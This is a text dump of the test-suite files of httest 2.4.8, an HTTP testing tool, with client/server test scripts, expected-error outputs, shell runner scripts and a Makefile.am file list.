"HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES server.cert.pem server.key.pem ca.cert.pem _EXPECT body "Cert version 3" _WAIT _VERIFY_PEER __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _RES server.cert.pem server.key.pem ca.cert.pem _WAIT __HTTP/1.1 200 OK __Connection: close __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE END httest-2.4.8/test/ssl_get_cert.hte0000664000175100017510000000060012203674077014127 00000000000000@:SKIP $OS mac # different error number @:SKIP $OS win # different error message INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _WAIT END SERVER SSL:$YOUR_PORT _RES server.cert.pem server.key.pem ca.cert.pem _WAIT _SSL:RENEG_CERT END httest-2.4.8/test/block_lua.hte0000664000175100017510000000076312141535454013413 00000000000000REQUIRE_MODULE LUA INCLUDE $TOP/test/config.htb BLOCK:LUA MyLuaThing param1 param2 : ret1 ret2 function expect(param, value) if param ~= value then error(param.." is not equal "..value) end end expect(param1, "Hello World") xpect(param2, "Hehehe") for i=1,10 do print("hallo "..i.." "..param1.." "..param2); end return "foo", "bar", "bla" END CLIENT MyLuaThing "Hello World" "Hehehe" FOO BAR _DEBUG $FOO $BAR _EXPECT VAR(FOO) "foo" _EXPECT VAR(BAR) "bar" END httest-2.4.8/test/exit.txt0000664000175100017510000000003112141535454012454 00000000000000 exit.hte:6: error: EXIT httest-2.4.8/test/listen_to_ip_port.htt0000664000175100017510000000117712203674077015237 00000000000000@:SKIP $OS mac # cannot bind to 127.0.0.2 INCLUDE $TOP/test/config.htb CLIENT _LOOP 10 _REQ 127.0.0.1 $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT body "OK 1" _WAIT _END _LOOP 7 _REQ 127.0.0.2 $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _EXPECT body "OK 2" _WAIT _END END SERVER 127.0.0.1:$YOUR_PORT _LOOP 10 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK 1 == _END END SERVER 127.0.0.2:$YOUR_PORT _LOOP 7 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK 2 == _END END httest-2.4.8/test/generate_makefile_am.sh0000775000175100017510000000105712203674077015422 00000000000000#!/bin/bash printf "EXTRA_DIST= " for e in `ls -1 *.htt *.htb *.hte *.txt *.sh *.pem *.ntlm *.visual`; do echo \\; printf "\t$e "; done echo echo echo "test_store_SOURCES=test_store.c \$(top_srcdir)/src/store.c" echo "test_file_SOURCES=test_file.c \$(top_srcdir)/src/file.c \$(top_srcdir)/src/util.c \$(top_srcdir)/src/store.c" echo "AM_CFLAGS=-I\$(top_srcdir)/src" echo "check_PROGRAMS=test_store test_file" echo "TESTS = test_store test_file test_run_help.sh test_run_all.sh test_run_errors.sh test_run_visual.sh test_run_ntlm.sh test_check_coredumps.sh" httest-2.4.8/test/urldecode.htt0000664000175100017510000000163312141535454013442 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT body "DEC1:foo\ bar\ blafasel\?blub/blib@foo.bar%2Ffoobar" _EXPECT body "DEC2:foo\ bar\ blafasel\?blub/blib@foo.bar%2Ffoobar%F" _EXPECT body "DEC3:foo\ bar\ blafasel\?blub/blib@foo.bar%2Ffoobar\\\\xF" _EXPECT body "DEC4:foo\ bar\ blafasel\?blub/blib@foo.bar%2Ffoobar\\\\xF" _WAIT END SERVER $YOUR_PORT _URLDEC "foo+bar+blafasel%3Fblub%2Fblib%40foo\x2Ebar\x252Ffoobar" DEC1 _URLDEC "foo+bar+blafasel%3Fblub%2Fblib%40foo\x2Ebar\x252Ffoobar%F" DEC2 _URLDEC "foo+bar+blafasel%3Fblub%2Fblib%40foo\x2Ebar\x252Ffoobar\xF" DEC3 _SET TEST=foo+bar+blafasel%3Fblub%2Fblib%40foo\x2Ebar\x252Ffoobar\xF _URLDEC "$TEST" DEC4 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __DEC1:$DEC1 __DEC2:$DEC2 __DEC3:$DEC3 __DEC4:$DEC4 END httest-2.4.8/test/block_lua.txt0000664000175100017510000000022112205174226013434 00000000000000 block_lua.hte:6: error: Lua error: client:13: attempt to call global 'xpect' (a nil value) block_lua.hte:21: error: CLT0-0 Internal error(20014)httest-2.4.8/test/var_expect.txt0000664000175100017510000000026212203674100013640 00000000000000 var_expect.hte:3: error: EXPECT var: Did expect "^Do not match TMP variable$" var_expect.hte:3: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/go.visual0000664000175100017510000000002512204435011012563 00000000000000CLT2-0 start ... OK httest-2.4.8/test/run_color.sh0000775000175100017510000000032612141535454013312 00000000000000#!/bin/bash TOP=.. export TOP HTTEST=../src/httest HTCOLOR=../tools/htcolor # set if you need the httest exit code #set -o pipefail { { $HTTEST $@ 1>&3 2>&4; } 4>&1 | $HTCOLOR -e; } 3>&1 1>&2 | $HTCOLOR #exit $? httest-2.4.8/test/errors.hte0000664000175100017510000000056112141535454012770 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS2" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ END httest-2.4.8/test/block_js_args.htt0000664000175100017510000000036512141535454014277 00000000000000REQUIRE_MODULE JS INCLUDE $TOP/test/config.htb BLOCK:JS myVeryFirstJsScript arg1 arg2 : return return "Result is: '" + arg1 + arg2 + "'"; END CLIENT myVeryFirstJsScript "hallo" " welt" foo _EXPECT VAR(foo) "Result is: 'hallo welt'" END httest-2.4.8/test/var_resolve.htt0000664000175100017510000000015412203674100014007 00000000000000CLIENT _SET foo=(|"*%]} _CODER:URLENC VAR(foo) result _EXPECT VAR(result) "%28%7C%22%2A%25%5D%7D" END httest-2.4.8/test/debug.htt0000664000175100017510000000007212203674077012562 00000000000000CLIENT _DEBUG any text which sould appear in any case END httest-2.4.8/test/dummy.htb0000664000175100017510000000001212141535454012573 00000000000000SET FOO=1 httest-2.4.8/test/huge_page_chunked.htt0000664000175100017510000000274512141535454015126 00000000000000SET MAX_DURATION=240000 INCLUDE $TOP/test/config.htb SET 1K=............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "BEGIN" _EXPECT . "MIDDLE" _EXPECT . "END" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Transfer-Encoding: chunked _FLUSH __BEGIN _LOOP 4 _LOOP 300 __$1K _CHUNKED _END LOOP __MIDDLE _CHUNKED _END LOOP __ __END _CHUNKED _CHUNKED __ END httest-2.4.8/test/ssl_server_cert_verify.txt0000664000175100017510000000030212203674077016300 00000000000000 ssl_server_cert_verify.hte:7: error: SSL peer verify failed: unable to get local issuer certificate(20) ssl_server_cert_verify.hte:7: error: CLT0-0 Permission denied(13) httest-2.4.8/test/block_lua_2_funcs.htt0000664000175100017510000000026212141535454015043 00000000000000REQUIRE_MODULE LUA BLOCK:LUA test1 print("\nI'm in test1") END BLOCK:LUA test2 arg1 print("\nI'm in test2, arg1="..arg1) END CLIENT test1 test2 "test2arg" test1 END httest-2.4.8/test/unused_expect_body.hte0000664000175100017510000000003512141535454015340 00000000000000CLIENT _EXPECT body ".*" END httest-2.4.8/test/exec_no_output.htt0000664000175100017510000000007112141535454014527 00000000000000INCLUDE $TOP/test/config.htb CLIENT _EXEC echo foo END httest-2.4.8/test/ssl_big_content.htt0000664000175100017510000000252412141535454014650 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST SSL:$YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER SSL:$YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ _LOOP 100 __.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................. _END LOOP __ END httest-2.4.8/test/match_var.htt0000664000175100017510000000036712141535454013443 00000000000000INCLUDE $TOP/test/config.htb CLIENT _SET FOO=Hallo Velo _MATCH VAR(FOO) "Hallo (.*)" VELO _REQ $YOUR_HOST $YOUR_PORT __POST / HTTP/1.1 __Content-Length: AUTO __ __$VELO END SERVER $YOUR_PORT _RES _EXPECT . "^Velo" _WAIT __HTTP/1.1 200 OK __ END httest-2.4.8/test/error_body.htt0000664000175100017510000000072612203674077013650 00000000000000@:SKIP $OS mac # sometimes no error printed INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _CLOSE END SERVER $YOUR_PORT # "unix|windows" _ERROR "Broken pipe|established connection was aborted" _RES _WAIT _SLEEP 500 __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== _FLUSH _END ERROR END httest-2.4.8/test/run_errors_thread_no.sh0000775000175100017510000000122512203674077015536 00000000000000#!/bin/bash if [ -z $srcdir ]; then srcdir=. fi . $srcdir/run_lib.sh function run_single { E=$1 OUT=$2 B=`echo $E | sed -e 's/\(.*\)\.hte/\1/'` if [ -f $B.tx2 ]; then ./run.sh -ln $B.hte 2>/tmp/tmp0.txt >/dev/null cat /tmp/tmp0.txt | sed -e 's/^[0-9]*/./' >/tmp/tmp1.txt cat /tmp/tmp1.txt | sort >/tmp/tmpA.txt cat $B.tx2 | sed -e 's/^[0-9]*/./' >/tmp/tmp2.txt cat /tmp/tmp2.txt | sort >/tmp/tmpB.txt diff -Bw /tmp/tmpA.txt /tmp/tmpB.txt >>$OUT else echo @:SKIP true true > /tmp/exit.htt ./run.sh -ns /tmp/exit.htt fi } echo error scripts tests LIST=`ls *.hte` COUNT=`ls *.hte | wc -l` run_all "$LIST" $COUNT httest-2.4.8/test/pipe_simple.htt0000664000175100017510000000054512141535454014003 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla _PIPE _EXEC echo 123 __ _EXPECT . "HTTP/1.1 200 OK" _WAIT END SERVER $YOUR_PORT _RES _EXPECT . "123" _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __==AS1 OK= END httest-2.4.8/test/server_ip_port.htt0000664000175100017510000000023612141535454014534 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ 127.0.0.1 $YOUR_PORT __GET / HTTP/1.1 __ _WAIT END SERVER 127.0.0.1:$YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __ END httest-2.4.8/test/lock.htt0000664000175100017510000000044612203674077012431 00000000000000@:SKIP $OS win # FIXME? broaded range on win (but is VM and cygwin) INCLUDE $TOP/test/config.htb CLIENT _LOCK _SLEEP 3000 _UNLOCK END SERVER $YOUR_PORT _TIMER RESET _SLEEP 1000 _LOCK _TIMER GET T _UNLOCK _IF "$T" LT "2995" _EXIT FAILED _END IF _IF "$T" GT "3020" _EXIT FAILED _END IF END httest-2.4.8/test/ifequal.htt0000664000175100017510000000034512141535454013121 00000000000000INCLUDE $TOP/test/config.htb CLIENT _SET VARA=foo _SET VARB=foo _IF $VARA EQUAL $VARB _IF "$VARA" NOT EQUAL "${VARB}foo" _IF "$VARA" EQUAL "!${VARB}" _ELSE _EXIT OK _END IF _END IF _END IF _EXIT FAILED END httest-2.4.8/test/simple.visual0000664000175100017510000000002112141535454013457 00000000000000 Sharing @:SKIP $OS win # works with cygwin sshd installed except _EXEC pid/kill stuff INCLUDE $TOP/test/config.htb DAEMON _EXEC ssh -ND localhost:${SOCKS_PORT} localhost & echo $! > /tmp/socks.pid END CLIENT _SLEEP 1000 _REQ $YOUR_HOST $SOCKS_PORT _SOCKS:CONNECT $YOUR_HOST $YOUR_PORT _SSL:CONNECT SSL __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT END SERVER SSL:$YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END BLOCK FINALLY _EXEC kill `cat /tmp/socks.pid` END httest-2.4.8/test/dso_foo.htt0000664000175100017510000000053112205040746013114 00000000000000@:SKIP $HOSTNAME mini # full static linking or windows DSO:LOAD_TRANSPORT_DSO $TOP/src/.libs/libhello.so foo CLIENT _SET config=bla _DSO:GET_TRANSPORT_OBJECT foo foo_front VAR(config) __GET / HTTP/1.1 __ _EXPECT . "200 OK" _WAIT END SERVER 8080 DOWN _DSO:GET_TRANSPORT_OBJECT foo foo_back _WAIT __HTTP/1.1 200 OK __ END httest-2.4.8/test/ignore_monitors.htt0000664000175100017510000000051112141535454014703 00000000000000INCLUDE $TOP/test/config.htb CLIENT _REQ $YOUR_HOST $YOUR_PORT _CLOSE _REQ $YOUR_HOST $YOUR_PORT _CLOSE _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT END SERVER $YOUR_PORT _RES IGNORE_MONITORS _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __== OK == END httest-2.4.8/test/functionality.ntlm0000664000175100017510000000162012141535454014533 00000000000000INCLUDE $TOP/test/config.htb CLIENT _MATCH EXEC "(.*)" B64M _EXEC $TOP/src/htntlm --write --type=1 --flags="neg-oem neg-ntlm-key" _EXPECT EXEC "type: 1" _EXPECT EXEC "flags: neg-oem neg-ntlm-key" _EXEC $TOP/src/htntlm --read=$B64M --info _MATCH EXEC "(.*)" B64M _EXEC $TOP/src/htntlm --write --type=2 --flags="neg-oem neg-ntlm-key" --challenge=0x0123456789abcdef _EXPECT EXEC "type: 2" _EXPECT EXEC "flags: neg-oem neg-ntlm-key" _EXPECT EXEC "challenge: 123456789abcdef" _EXEC $TOP/src/htntlm --read=$B64M --info # Do this test static to avoid errors in lm and ntlm hash calculation _MATCH EXEC "(.*)" B64M _EXEC $TOP/src/htntlm --write --type=3 --challenge=0x0123456789abcdef --user=hans --password=peter --response="lm ntlm" _EXPECT EXEC "type: 3" _EXPECT EXEC "user: HANS" _EXPECT EXEC "lm hash: [0-9a-f]{48,48}$" _EXPECT EXEC "ntlm hash: [0-9a-f]{48,48}$" _EXEC $TOP/src/htntlm --read=$B64M --info END httest-2.4.8/test/main_functionality.htt0000664000175100017510000000510712141535454015370 00000000000000INCLUDE $TOP/test/config.htb # XXX TODO NOTE FIXME CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _EXPECT . "AS1" _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: 9 __ __==RQ1== _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __==RQ1== _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __POST /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Transfer-Encoding: chunked _FLUSH __==RQ1== _CHUNK __ __0 __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _MATCH headers "Foobar: (.*)" MY_VAR _MATCH body "(.*)" MY_VAR2 _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Foobar1: $MY_VAR __Foobar2: $MY_VAR2 __ _WAIT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "==AS1 - 7==" _WAIT END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 0== __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 1== __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 2== __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 3== __ _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __Transfer-Encoding: chunked _FLUSH __==AS1 - 4 - 0== _CHUNK __==AS1 - 4 - 1== _CHUNK __==AS1 - 4 - 2== _CHUNK __ _CHUNK _CHUNK __ _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __Foobar: Hello World __ __Hallo Welt __==AS1 - 5== __ _RES _EXPECT . "Hello World" _EXPECT . "Hallo Welt" _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __Content-Type: text/html __ __==AS1 - 6== __ _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/html __Connection: close __ __==AS1 - 7== __==AS1 - 7== __ __ __ __ __ __==AS1 - 7== __ _CLOSE END httest-2.4.8/test/block.txt0000664000175100017510000000044212205174226012600 00000000000000 block.htb:12: error: EXPECT .: Did expect "HTTP/1.1 200 OK" block.htb:12: error: EXPECT .: Did expect "AS1" block.hte:12: error: CLT0-0 Broken pipe(32) block.hte:14: error: CLT0-0 Broken pipe(32) block.hte:14: error: Error in loop with count = 1 block.hte:14: error: CLT0-0 Broken pipe(32)httest-2.4.8/test/rps.htt0000664000175100017510000000113312203674077012277 00000000000000@:SKIP $OS win # FIXME too fast INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _RPS 1 10 _REQ $YOUR_HOST $YOUR_PORT __POST / HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __Content-Length: AUTO __ __............................................................................. _WAIT _END RPS END SERVER $YOUR_PORT _RES _WAIT __HTTP/1.1 200 OK __ _LOOP 9 _TIMER RESET FOO _RES _WAIT __HTTP/1.1 200 OK __ _TIMER GET FOO _IF "$FOO" LT "950" _DEBUGToo fast _EXIT FAILED _END IF _IF "$FOO" GT "1050" _DEBUGToo slow _EXIT FAILED _END IF _END LOOP END BLOCK ON_ERROR _EXIT OK END httest-2.4.8/test/block_var_missmatch.txt0000664000175100017510000000023112141535454015517 00000000000000 block_var_missmatch.hte:7: error: Param missmatch for block "_FOO" block_var_missmatch.hte:7: error: CLT0-0 Internal error(20014) httest-2.4.8/test/var_match.txt0000664000175100017510000000026212203674100013444 00000000000000 var_match.hte:3: error: MATCH var: Did expect (^Do not match TMP variable$) var_match.hte:3: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/proxy_main_functionality.htt0000664000175100017510000000613712205425262016631 00000000000000@:SKIP $OS win # FIXME? supported? INCLUDE $TOP/test/config.htb FILE header _INCLUDE $TOP/test/config.htb _CLIENT END FILE trailer _END END FILE htproxy.conf _# htproxy sample configuration _Port 8888 _Timeout 30000 _HostVar YOUR_HOST _PortVar YOUR_PORT #_HostPortVar FQND _CookieVarPrefix MY_COOKIE_ _UrlBlacklist (.*\.png\;.*$)|(.*\.css\;.*$)|(.*\.ico\;.*$)|(.*\.js\;.*$) _ScriptHeader ./header _ScriptTrailer ./trailer END DAEMON _EXEC ../src/htremote -p$CMD_PORT -e"../src/htproxy -C htproxy.conf -d /var/tmp/test.htt" END CLIENT _SLEEP 1000 # start proxy _REQ localhost $CMD_PORT _SLEEP 500 _MATCH Body "Start proxy on port ([0-9]+)" PROXY_PORT _READLINE _READLINE # get help text _PIPE _EXEC echo H _FLUSH _READLINE _EXPECT . "Help text" _LOOP 7 _READLINE _END LOOP _EXPECT . "q\|quit *: Exit" _READLINE # start with a comment _REQ localhost $CMD_PORT _PIPE _EXEC echo "c my comment" _FLUSH # do something to record _REQ localhost $PROXY_PORT __GET http://$YOUR_HOST:$YOUR_PORT/your/path HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT # say proxy to add an expect _REQ localhost $CMD_PORT _PIPE _EXEC echo "e ==AS1 OK 1==" _FLUSH # say proxy to add additional request _PIPE _SH #!/bin/bash _SH echo "h _REQ localhost $YOUR_PORT2" _SH echo "h __GET /foo HTTP/1.1" _SH echo "h __Host: localhost" _SH echo "h __" _SH echo "h _EXPECT . \"HTTP/1.1 200\"" _SH echo "h _WAIT" _SH END _FLUSH # test if has wrote an expect _EXPECT EXEC "# my comment" _EXPECT EXEC "_EXPECT \. \"==AS1 OK 1==\"" _EXEC cat /var/tmp/test.htt _REQ localhost $PROXY_PORT __GET http://$YOUR_HOST:$YOUR_PORT/your/path/2 HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT _REQ localhost $PROXY_PORT __GET http://$YOUR_HOST:$YOUR_PORT/your/path/3 HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __ _WAIT _REQ localhost $PROXY_PORT __GET http://$YOUR_HOST:$YOUR_PORT/your/path/4 HTTP/1.1 __Host: $YOUR_HOST:$YOUR_PORT __Cookie: my=cookie __ _WAIT _CLOSE # say proxy to add an expect _REQ localhost $CMD_PORT _PIPE _EXEC echo "e ==AS1 OK 2==" _FLUSH # test if has wrote an expect _EXPECT EXEC '_EXPECT \. "==AS1 OK 2=="' _EXEC cat /var/tmp/test.htt # say proxy to rotate out (writes header and trailer too) _REQ localhost $CMD_PORT _PIPE _EXEC echo "r /var/tmp/my.htt" _FLUSH _PIPE _EXEC echo "q" _FLUSH _CLOSE # run the recorded test (server is prepared with a _LOOP 2) _LOG_LEVEL 4 _EXEC ../src/httest /var/tmp/my.htt _LOG_LEVEL 0 END SERVER $YOUR_PORT # first loop to record it with htproxy # second loop to test if we can rerun the recorded httest script _LOOP 2 _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __==AS1 OK 1== _RES _WAIT __HTTP/1.1 302 Found __Content-Type: text/plain __Content-Length: AUTO __ __302 Found _RES _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __Set-Cookie: my=cookie path=/ __ _RES _EXPECT . "Cookie: my=cookie" _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __Connection: close __ __==AS1 OK 2== _CLOSE _END LOOP END SERVER $YOUR_PORT2 _RES _EXPECT . "GET /foo" _WAIT __HTTP/1.1 200 OK __Content-Type: text/plain __Content-Length: AUTO __ __==AS2 OK 1== END httest-2.4.8/test/errors_win_crlf.txt0000775000175100017510000000030412204435011014674 00000000000000 errors_win_crlf.hte:13: error: EXPECT .: Did expect "AS2" errors_win_crlf.hte:13: error: CLT0-0 Invalid argument(22) httest-2.4.8/test/server_up_down.htt0000664000175100017510000000103512141535454014531 00000000000000INCLUDE $TOP/test/config.htb # runs exactly one time CLIENT _EXPECT ERROR "Connection refused" _REQ $YOUR_HOST $YOUR_PORT _SLEEP 1000 _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __User-Agent: mozilla __ _EXPECT . "HTTP/1.1 200 OK" _WAIT _CLOSE END SERVER $YOUR_PORT DOWN _EXPECT ERROR "Internal error" _RES _SLEEP 500 _UP _RES _WAIT __HTTP/1.1 200 OK __Connection: close __Content-Type: text/html __ __==AS1 - 0== __ _CLOSE _DOWN _EXPECT ERROR "Internal error" _RES END httest-2.4.8/test/server_distribute.htt0000664000175100017510000000060312203674077015240 00000000000000@:SKIP $OS win # FIXME? supported? INCLUDE $TOP/test/config.htb DAEMON _EXEC ../src/htremote -p10011 -e"./run.sh -Ss" END CLIENT _SLEEP 2000 END GO CLIENT _REQ $YOUR_HOST $YOUR_PORT __GET /your/path/to/your/resource?your=params HTTP/1.1 __Host: $YOUR_HOST __ _WAIT END SERVER $YOUR_PORT -> localhost:10011 _RES _WAIT __HTTP/1.1 200 OK __Content-Length: AUTO __ __Hello World END httest-2.4.8/test/Makefile.am0000664000175100017510000001665312205370166013015 00000000000000EXTRA_DIST= \ 100cont_auto.htt \ 100cont.htt \ assert.hte \ assert.htt \ assert.txt \ autoclose2.hte \ autoclose2.htt \ autoclose2.txt \ autoclose.hte \ autoclose.htt \ autoclose.txt \ autocookie.htt \ bad_headers.htt \ base64.htt \ big_data.htt \ binary_http_body.htt \ binary_protocol.hte \ binary_protocol.htt \ binary_protocol.txt \ block_declare_after.htt \ block.htb \ block.hte \ block.htt \ block_in_out_params.htt \ block_js_args.hte \ block_js_args.htt \ block_js_args.txt \ block_js.hte \ block_js.htt \ block_js_on_the_fly.htt \ block_js.txt \ block_local_vars.htt \ block_lua_2_funcs.htt \ block_lua_buf.htt \ block_lua_cert.htt \ block_lua_crypto.htt \ block_lua_dh.htt \ block_lua_file_md5.htt \ block_lua.hte \ block_lua.htt \ block_lua_httest.htt \ block_lua_transport.htt \ block_lua.txt \ block_not_found.hte \ block_not_found.txt \ block_params.htt \ block.txt \ block_var_buf.htt \ block_var_missmatch.hte \ block_var_missmatch.txt \ block_var_params.htt \ bps.htt \ breakfor.htt \ break.htt \ ca2.cert.pem \ ca.cert.pem \ charset.htt \ chunk.htt \ chunk.visual \ client2.cert.pem \ client2.key.pem \ client.cert.pem \ client.key.pem \ concurrent.htt \ config.htb \ connection.htt \ crawl.htt \ custom_commands.htt \ daemon2.htt \ daemon.htt \ debug.htt \ debug.visual \ deflate.htt \ dso_foo_func.htt \ dso_foo.htt \ dummy2.htb \ dummy3.htb \ dummy4.htb \ dummy5.htb \ dummy6.htb \ dummy7.htb \ dummy8.htb \ dummy9.htb \ dummy.htb \ duration.htt \ embedded_file.htt \ embedded_sh.htt \ embedded_sh_pipe.htt \ embedded_sh_threaded.htt \ empty.htt \ env.htt \ error_body.hte \ error_body.htt \ error_body.txt \ error_match.htt \ errors.hte \ errors.htt \ errors_neg.hte \ errors_neg.txt \ errors.txt \ errors_win_crlf.hte \ errors_win_crlf.txt \ escaping.htt \ exec_expect.hte \ exec_expect.htt \ exec_expect.txt \ exec.htt \ exec_httest.htt \ exec_last_line_not_newline.htt \ exec_no_output.htt \ exec_quotes.htt \ exec_threaded.htt \ exit.hte \ exit.htt \ exit.txt \ expect_header_not_body.hte \ expect_header_not_body.htt \ expect_header_not_body.txt \ expect_with_trash_behind.hte \ expect_with_trash_behind.txt \ finally_on_failed2.htt \ finally_on_failed3.htt \ finally_on_failed.hte \ finally_on_failed.htt \ finally_on_failed.txt \ finally_on_many_bodies.htt \ folded.htt \ foreach.htt \ functionality.ntlm \ function.htt \ generate_makefile_am.sh \ global_exec.hte \ global_exec.txt \ go.htt \ go.visual \ grep.htt \ headers_allow.htt \ headers_filter.htt \ html.hte \ html.htt \ html.txt \ http_0_9.htt \ huge_page_chunked.htt \ huge_page.htt \ icap_100cont.htt \ icap_auto.htt \ icap_huge.htt \ icap_main.htt \ ifcond.htt \ ifelse.htt \ ifequal.htt \ ifeval.htt \ if_local_vars.htt \ ifnumber.htt \ ifvareq.htt \ ignore_body.htt \ ignore_body_space.htt \ ignore_errors.htt \ ignore_monitors.htt \ include.hte \ include.htt \ include.txt \ incomplete.htt \ inline.htt \ inline_not_exist.htt \ inline_not_exist.visual \ join.htt \ late_var_replace.htt \ leftovertmpf.htt \ listen_to_ip_port.htt \ lock.htt \ loop_auto.htt \ loop_cur.htt \ loop_duration.htt \ loop.htt \ macro.htt \ macro_too_many_redirects.htt \ main_functionality.htt \ match_dot.hte \ match_dot.txt \ match_exec_no_newline.htt \ match.hte \ match.htt \ match_order.hte \ match_order.htt \ match_order_threaded.htt \ match_order.txt \ match.txt \ match_var.htt \ math.htt \ milestone.hte \ milestone.txt \ mixed_socket.htt \ module.htb \ module.htt \ multi_line_match.htt \ multi_line_variable.hte \ multi_line_variable.htt \ multi_line_variable.txt \ multi_match.htt \ multi_socket.htt \ multi_var_match.htt \ neg_content_length.htt \ newstyle.htt \ nocrlf.htt \ nosocket.hte \ nosocket.txt \ no_ssl_port_set.hte \ no_ssl_port_set.txt \ no_ssl_set_cert.hte \ no_ssl_set_cert.txt \ null_content.htt \ only_printable.htt \ overflow.htt \ perf_terminate_check.htt \ pipe_exec_out.htt \ pipelining_request.htt \ pipe_recv_to_file.htt \ 